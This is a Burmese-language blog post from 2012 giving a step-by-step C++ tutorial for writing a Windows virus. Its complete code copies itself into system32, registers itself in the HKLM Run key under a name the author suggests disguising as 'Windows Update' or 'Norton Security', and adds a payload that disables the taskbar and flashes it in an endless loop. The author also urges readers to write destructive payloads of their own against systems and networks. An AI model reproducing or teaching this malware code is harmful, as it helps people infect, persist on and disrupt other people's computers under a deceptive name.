Pages

Wednesday, 15 August 2012

C++ Virus Guide

ဒါကေတာ့ Virus ကိုစတင္ေလ့လာသူမ်ားအတြက္ C++ Virus Guide ျဖစ္ပါတယ္။ တိုတုိနဲ႔ လိုရင္းေရာက္ေအာင္ ရွင္းျပထားတဲ႔ Guide တစ္ခုပါ။ programming ကိုစတင္ဖို႔အတြက္ ဘာေတြလိုအပ္မလဲဆိုရင္...

Win32 API Reference - လိုေတာ့မလိုအပ္ပါဘူး...ဒါေပမယ့္ အလြန္အကူအညီေပးႏိုင္ပါတယ္။
C++ Compiler - က်ေနာ့္ blog မွာ တင္ေပးခဲ႔ျပီးျဖစ္ပါတယ္...ဒါေပမယ့္ ဒီမွာေတာ့ Dev C++ compiler ကိုထပ္တင္ေပးလို္က္ပါတယ္။ Dev က ေကာင္းေကာင္း အကူအညီေပးနိုင္ပါတယ္...။ Microsoft Visual C++ 6.0 ကိုလည္း အသံုးျပဳႏိုင္ပါတယ္...ဒါေပမယ့္သိတဲ႔ အတိုင္းပဲ ပိုက္ဆံအကုန္အက်ရွိႏိုင္ပါတယ္... ။


ကဲ...စလိုက္ၾကရေအာင္... Dev (သို႔) MSVC ကို ဖြင့္လိုက္ပါ...ျပီးရင္ Win 32 GUI (Graphical User Interface) အသစ္တစ္ခုကိုဖြင့္လိုက္ပါ...( Dev ရဲ႕ အသံုးျပဳပံုကို ဒီ webpage မွာသြားၾကည့္ႏိုင္ပါတယ္။) ျပီးရင္ ေအာက္ မွာေဖာ္ျပထားတဲ႔ Source code ေတြကို ခ်န္ထားျပီး က်န္တဲ႔ code ေတြကို delete လိုက္ပါ...


#include <windows.h>

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)

{

return 0;
}


compile လုပ္ပါ။ run လိုက္ရင္ေတာ့ ဘာမွျဖစ္လာမွမဟုတ္ပါဘူး ( black window ေပၚလာပါမယ္ ဆိုလိုတာ ကေတာ့ win32 ကို goto မျဖစ္လို႔ပါ။) ။ ဘာေၾကာင့္လဲဆိုေတာ့ program က ဘာမွမလုပ္ေသးလို႔ျဖစ္ပါတယ္။ ၄င္း ကို run ျပီး exit ျဖစ္ဖို႔ {} ၾကားနဲ႔ return 0; မတိုင္ခင္မွာ project ထဲကို codeအနည္းငယ္ေပါင္းထည့္ဖို႔ လိုပါ တယ္...

MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);


ထပ္ compile လုပ္ျပီး program ကို ထပ္ run ၾကည့္ပါ။ message box တစ္ခုေပၚလာႏိုင္ပါတယ္။ ဒါဟာ virus ေတာ့ မဟုတ္ေသးပါဘူး တျခား ထပ္ထည့္စရာေတြရွိပါေသးတယ္။ ေအာက္မွာျပထားတဲ႔ code ေတြကို သင့္ ရဲ႕ Project ထဲကို ထပ္ေပါင္းထည့္လိုက္ပါ။

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);

CopyFile(pathtofile,system,false);

MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);


ေနာက္တၾကိမ္ return 0; နဲ႔ {} ၾကားမွာ code ေတြကို ေသခ်ာေအာင္လုပ္ပါ။ ျပီးရင္ compile လုပ္ျပီး code ကို run လိုက္ပါ။ ျပီးရင္ သင့္ရဲ႕ Windows folder ထဲက system32 directory ကိုဖြင့္လိုက္ပါ...( ဘယ္လိုဖြင့္ရမယ္ဆိုတာမသိသူမ်ားအတြက္ startbar ထဲက run ကို သြားျပီး %windir%\system32 ဆိုျပီးရိုက္ျပီး Enter ေခါက္လိုက္ရင္ရပါတယ္။)
ကဲ...ဖြင့္ျပီးျပီဆိုရင္ေတာ့ system32 folder ထဲမွာ virus.exe file ကိုလိုက္ရွာပါ။ အဲဒီ file ကို run လိုက္ရင္ Hello ဆိုျပီး message box တစ္ခုေပၚလာပါလိမ့္မယ္။

အဆင္ေျပတယ္မွတ္လား ? ဘယ္လိုအလုပ္လုပ္တယ္ဆိုတာကို ရွင္းျပပါ့မယ္။

char system[MAX_PATH]; ဒါကေတာ့ system32 directory ကို ထိန္းခ်ဳပ္ေပးဖို႔အတြက္ ၾကားခံေဆာင္ရြက္ေပးတာျဖစ္ပါတယ္။
char pathtofile[MAX_PATH]; ဒါကေတာ့ က်ေနာ္တို႔ရဲ႕ viurs ဆီကိုသြားတဲ႔ လမ္းေၾကာင္းကို ထိန္းခ်ဳပ္ေပးဖို႔အတြက္ ၾကားခံေဆာင္ရြက္ေပးတာျဖစ္ပါတယ္။
HMODULE GetModH= GetModuleHandle(NULL); ဒီဟာကေတာ့ အခ်ိဳ႕ အရာေတြကို grasp လုပ္ဖို႔ ခက္ခဲေစႏိုင္ပါတယ္...က်ေနာ္တို႔အတြက္ေတာ့ အဓိကအခ်က္ျဖစ္ပါတယ္။ GetModH ကေတာ့ က်ေနာ့္တို႔ရဲ႕ Virus ကို ထိန္းခ်ဳပ္ေပးမယ့္ handle ျဖစ္ပါျပီး GetModuleHandle() ကေတာ့ handle ကိုရယူျပီး ၄င္းကို အဲဒီမွာ သိမ္းဆည္းထားဖုိ႔ျဖစ္ပါတယ္။
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); ဒီဟာကေတာ့ အသံုးျပဳထားတဲ႔ handle ကို မရရွိခင္မွာက်ေနာ္တို႔ virus ရဲ႕ FileName ကိုရယူဖို႔ျဖစ္ျပီး pathtofile ထဲမွာ လမ္းေၾကာင္းကို သိမ္းဆည္းထားပါတယ္။
GetSystemDirectory(system,sizeof(system)); အေျခခံအားျဖင့္ေတာ့ ၄င္းက သင့္ရဲ႕ system directory ကို ရွာေဖြတာျဖစ္ပါတယ္။ အမ်ားအားျဖင့္ windows ရဲ႕ directory ဟာ c:\windows\system32 ဆိုတာကို သတိထားမိမွာပါ...ဒါေပမယ့္ တျခား computer ေတြမွာ d:\winnt\system32 လည္းျဖစ္ႏိုင္ပါတယ္။ ဒါေၾကာင့္ တိက်တဲ႔ system32 directory ထဲမွာ copy လုပ္ႏိုင္ဖို႔အတြက္ အဲဒီ code ကိုထည့္ဖို႔လိုအပ္ပါတယ္။
strcat(system,"\\virus.exe"); က်ေနာ္တို႔မွာ system32 directory ရွိေနပါျပီ - c:\windows\system32 (သို႔) အျခားတစ္ခုခုေပါ့ အခုဆိုရင္ copy လုပ္ဖို႔အတြက္ ေနရာတစ္ေနရာလိုပါတယ္...ဒီ function ကေတာ့ string မ်ားကို ပံုစံတစ္ခုထဲျဖစ္ေအာင္ အတူတကြခ်ည္ေႏွာင္ေပးပါတယ္။ ဒါေၾကာင့္ က်ေနာ္တို႔ရဲ႕ system က c:\windows\system32\virus.exe (သို႔) အျခား directory နဲ႔ ထိန္းခ်ဳပ္ေပးနိုင္ပါတယ္။ မွတ္ခ်က္ - \\ ဟာ typing error တစ္ခုမဟုတ္ပါဘူး ။ \\ ဆိုတာက c++ interprets ျဖစ္ပါတယ္။ \ တစ္ခုထဲဆိုရင္ character escape ျဖစ္ႏိုင္ျပီး သင့္ရဲ႕ virus ဟာအလုပ္မလုပ္ေတာ့တာေတြ ျဖစ္ႏိုင္ပါတယ္။
CopyFile(pathtofile,system,false); က်ေနာ့္တို႔ရဲ႕ viurs ကို copy လုပ္ဖို႔အတြက္ လွပတဲ႔ ကိုယ္တုိင္ရွင္းလင္းေဖာ္ျပခ်က္ျဖစ္ပါတယ္...false ရဲ႕ အဓိပၸာယ္ကေတာ့ အကယ္၍ virus.exe ဟာ exists ျဖစ္ျပီးျပီ ဆိုရင္ ၄င္းဟာ copy လုပ္ပါလိမ့္မယ္...အဲဒါကို ရပ္တန္႔ဖို႔အတြက္ကေတာ့ false ကို true သို႔ေျပာင္းရပါမယ္(ဒါေပမယ့္ ဒီမွာေတာ့ false အေနနဲ႔ထားပါမယ္)

ဒါကေတာ့ က်ေနာ္တို႔ရဲ႕ virus အတြက္ ေနာက္တဆင့္ျဖစ္ပါတယ္... အဲဒါကေတာ့ computer boots ျဖစ္တဲ႔အခါ ဒီ virus ကို စတင္ဖို႔အတြက္ code ေတြကို add ဖို႔ျဖစ္ပါတယ္။
ဒီအဆင့္ကိုျပီးေျမာက္ေစဖို႔အတြက္ API calls ၃ ခုကို အသံုးျပဳရပါလိမ့္မယ္...
RegOpenKeyEx(); ဒါကေတာ့ က်ေနာ္တို႔ write လုပ္ႏိုင္ဖို႔အတြက္ key ကို ဖြင့္ေပးပါတယ္။
RegSetValueEx(); က်ေနာ္တို႔ရဲ႕ value ကို sets လုပ္ဖုိ႔ပါ။
RegCloseKey(); ဒါကေတာ့ key ကို closes ဖို႔ပါ။

ေအာက္မွာေဖာ္ျပထားတဲ႔ code ေတြကို က်ေနာ္တို႔ရဲ႕ Virus ထဲကို ေပါင္းထည့္ေပးဖို႔လိုပါတယ္...

HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);

ပိုျပီးသိေအာင္ ရွင္းရရင္... HKEY hKey ဟာ သင္ျဖစ္လိုတာကလြဲျပီး က်န္တဲ႔ေတြထပ္မျဖစ္ေအာင္ registry မွ calls ေတြအတြက္ data ကို ထိန္းခ်ဳပ္ဖို႔အတြက္ ေဆာင္ရြက္ေပးတဲ႔ ဟာျဖစ္ပါတယ္။ RegOpenKeyEx ကေတာ့ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run key ကိုဖြင့္ေပးျပီးေတာ့ က်ေနာ္တို႔ျဖစ္ေစခ်င္တဲ႔အတိုင္း user အားလံုးတြက္ key ကိုျဖစ္ေစဖို႔ျဖစ္ပါတယ္။ 0 ကေတာ့သီးသန္႔ထားတာျဖစ္ျပီး 0 ျဖစ္ေနဖို႔လိုအပ္ပါတယ္။ set permission နဲ႔အတူ key ကို ပြင့္လာဖို႔အတြက္ KEY_SET_VALUE ကို အသံုးျပဳတာျဖစ္ျပီး ၾကားခံေဆာင္ရြက္ေစတာျဖစ္ပါတယ္။
ေနာက္ call တစ္ခုျဖစ္တဲ႔ hKey ကေတာ့ key variables မတိုင္ခင္မွာ ၾကားခံေဆာင္ရြက္ေပးဖို႔ျဖစ္ပါတယ္။ "Writing to the registry Example" ကေတာ့ keyမွာ ေပၚေနမယ့္ message ျဖစ္ပါတယ္။ ဒီ message ကို သင့္စိတ္ၾကိဳက္ေျပာင္းလဲႏိုင္ပါတယ္...( ဥပမာ -" Windows Update" (သို႔) "Norton Security" ) ။ 0 ကေတာ့ ဆက္လက္ထားရွိရမယ့္ value ျဖစ္ပါတယ္။ REG_SZ ကေတာ့ က်ေနာ္တို႔လိုခ်င္တဲ႔ key အမ်ိဳးအစားျဖစ္ပါမယ္။ REG_BINARY နဲ႔ REG_DWORD ကဲ့သို႔ေသာ အျခား အမ်ိဳးအစားေတြလည္း ရွိပါေသးတယ္။ ဒါေပမယ့္ က်ေနာ္တို႔ကေတာ့ text (const unsigned char*)အတြက္ REG_SZ ကိုအသံုးျပဳပါမယ္...ဘာေၾကာင့္လဲဆိုေတာ့ ၄င္းဟာ normal chars ကို accept မလုပ္လို႔ပါ။ system က က်ေနာ္တို႔ရဲ႕ viurs ဆီသြားတဲ႔ လမ္းေၾကာင္းကို ထိန္းခ်ဳပ္ေပးျပီး ေနာက္ဆံုး လမ္းေၾကာင္းကေတာ့ stirng ရဲ႕ အရြယ္အစားျဖစ္ပါတယ္။ ဒီဟာကေတာ့ sizeof ကိုအသံုးျပဳျခင္းအားျဖင့္ အလိုအေလွ်ာက္ တြက္ခ်က္ေပးပါတယ္။
ေနာက္ call တစ္ခုကေတာ့ registry key ကို ပိတ္ဖို႔ျဖစ္ပါတယ္။

အေပၚမွာ ေပးထားတဲ့ code ေတြကို add ျပီးသြားျပီ ဆိုရင္ေတာ့ ေအာက္ကပံုစံအတိုင္းျဖစ္သြားပါလိမ့္မယ္...

#include <windows.h>

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)

{

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);

CopyFile(pathtofile,system,false);


HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);

return 0;
}

code ကို run လိုက္ပါ ျပီးရင္ regedit ကို ဖြင့္ျပီး HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run ကိုသြားပါ... ညာဘက္က pane မွာ က်ေနာ္တို႔ရဲ႕ key အသစ္ကိုေတြ႔ႏိုင္ပါတယ္။

ေနာက္တစ္ဆင့္ကေတာ့ virus ေရးသားျခင္းမွာ စိတ္၀င္စားစရာ အေကာင္းဆံုးျဖစ္တဲ႔ virus ရဲ႕ Payload ပိုင္းပါတယ္။ ၄င္းကေတာ့ ထင္တိုင္းၾကဲႏိုင္တဲ့ code ေတြျဖစ္ပါတယ္...Ddos က သင့္ရဲ႕ mouse ကို screen ေပၚမွာ ေလွ်ာက္ေျပးေနေအာင္ လုပ္ထားတာျဖစ္တယ္။ ဖ်က္ဆီးေစတဲ႔ Payload အပိုင္းကို virus community အားျဖင့္ စိတ္ညစ္ေအာင္ စိတ္ရႈပ္ေအာင္ လုပ္လို႔ရပါတယ္...။ computer ရဲ႕ system နဲ႔ network ေတြကို ဖ်က္ဆီးဖို႔အတြက္ သင့္ရဲ႕ ကိုယ္ပိုင္ idea ေတြကို အသံုးျပဳျပီး ေရးသားနိုင္ပါတယ္။ ဒါေပမယ့္ ဖ်က္ဆီးႏိုင္တဲ႔ payload ေတြထက္ မပ်က္ဆီးေစႏိုင္တဲ႔ payload ေတြကပိုျပီး အေပ်ာ္သေဘာသက္ေရာက္ေစပါတယ္...။ ဒီ turotial မွာေတာ့ payload ကို Flasher နဲ႔ အသက္သြင္းထားပါတယ္။

payload ကို ထပ္ျဖည့္လိုက္ရင္ ေအာက္မွာျပထားတဲ႔အတိုင္းျဖစ္သြားပါလိမ့္မယ္....

#include <windows.h>

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)

{

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);

CopyFile(pathtofile,system,false);


HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);

HWND hWin;

hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);

while(1==1)
{
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000);
}

return 0;
}

ဒီ payload ကိုလည္း အထင္မေသးပါနဲ႔ အလြန္စိတ္ညစ္သြားေအာင္ လုပ္ႏိုင္ပါတယ္... ဒီ virus ကို fix လုပ္ဖို႔အတြက္ကေတာ့ ctrl+alt+delete ကိုႏွိပ္ပါ ျပီးရင္ virus.exe ကို လိုက္ရွာျပီး process ကို end လုပ္ပါ။ ျပီးရင္ explorer.exe ကိုရွာျပီး end လုပ္လိုက္ပါ။ အဲဒါျပီးရင္ေတာ့ task manager ရဲ႕ file ထဲကိုသြားျပီး new ထဲမွာ explorer.exe လို႔ရိုက္ျပီး ျပန္ run လိုက္ပါ။ အကယ္၍မ်ား EnableWindow နဲ႔ ShowWindow ကိုေျပာင္းျပီး အလုပ္ မလုပ္ဘူးဆိုရင္ေတာ့ false ေနရာမွာ true ကို အစားထိုးဖို႔လိုပါတယ္..။

ဒါေၾကာင့္ taskmanager ကို ဘယ္လို ေဖ်ာက္ထားႏိုင္တယ္ဆိုတဲ႔ နည္းလမ္းေတြ ၊ ရာေပါင္းမ်ားစြာရွိတဲ႔ API calls ေတြနဲ႔ ကို ေလ့လာထားရမွာ ျဖစ္ပါတယ္။ ဒါ့အျပင္ run လိုက္တဲ႔ အခါမွာ error တစ္ခုခုျဖစ္ေနရင္ေတာ့ errors အားလံုးရဲ႕ ၉၅% ေလာက္ဟာ spelling မွားယြင္းတဲ႔အတြက္ ျဖစ္ႏိုင္ပါတယ္။


(Educational Purpose)

No comments:

Post a Comment

Related Posts Plugin for WordPress, Blogger...

အေထြးေထြးနည္းပညာမ်ား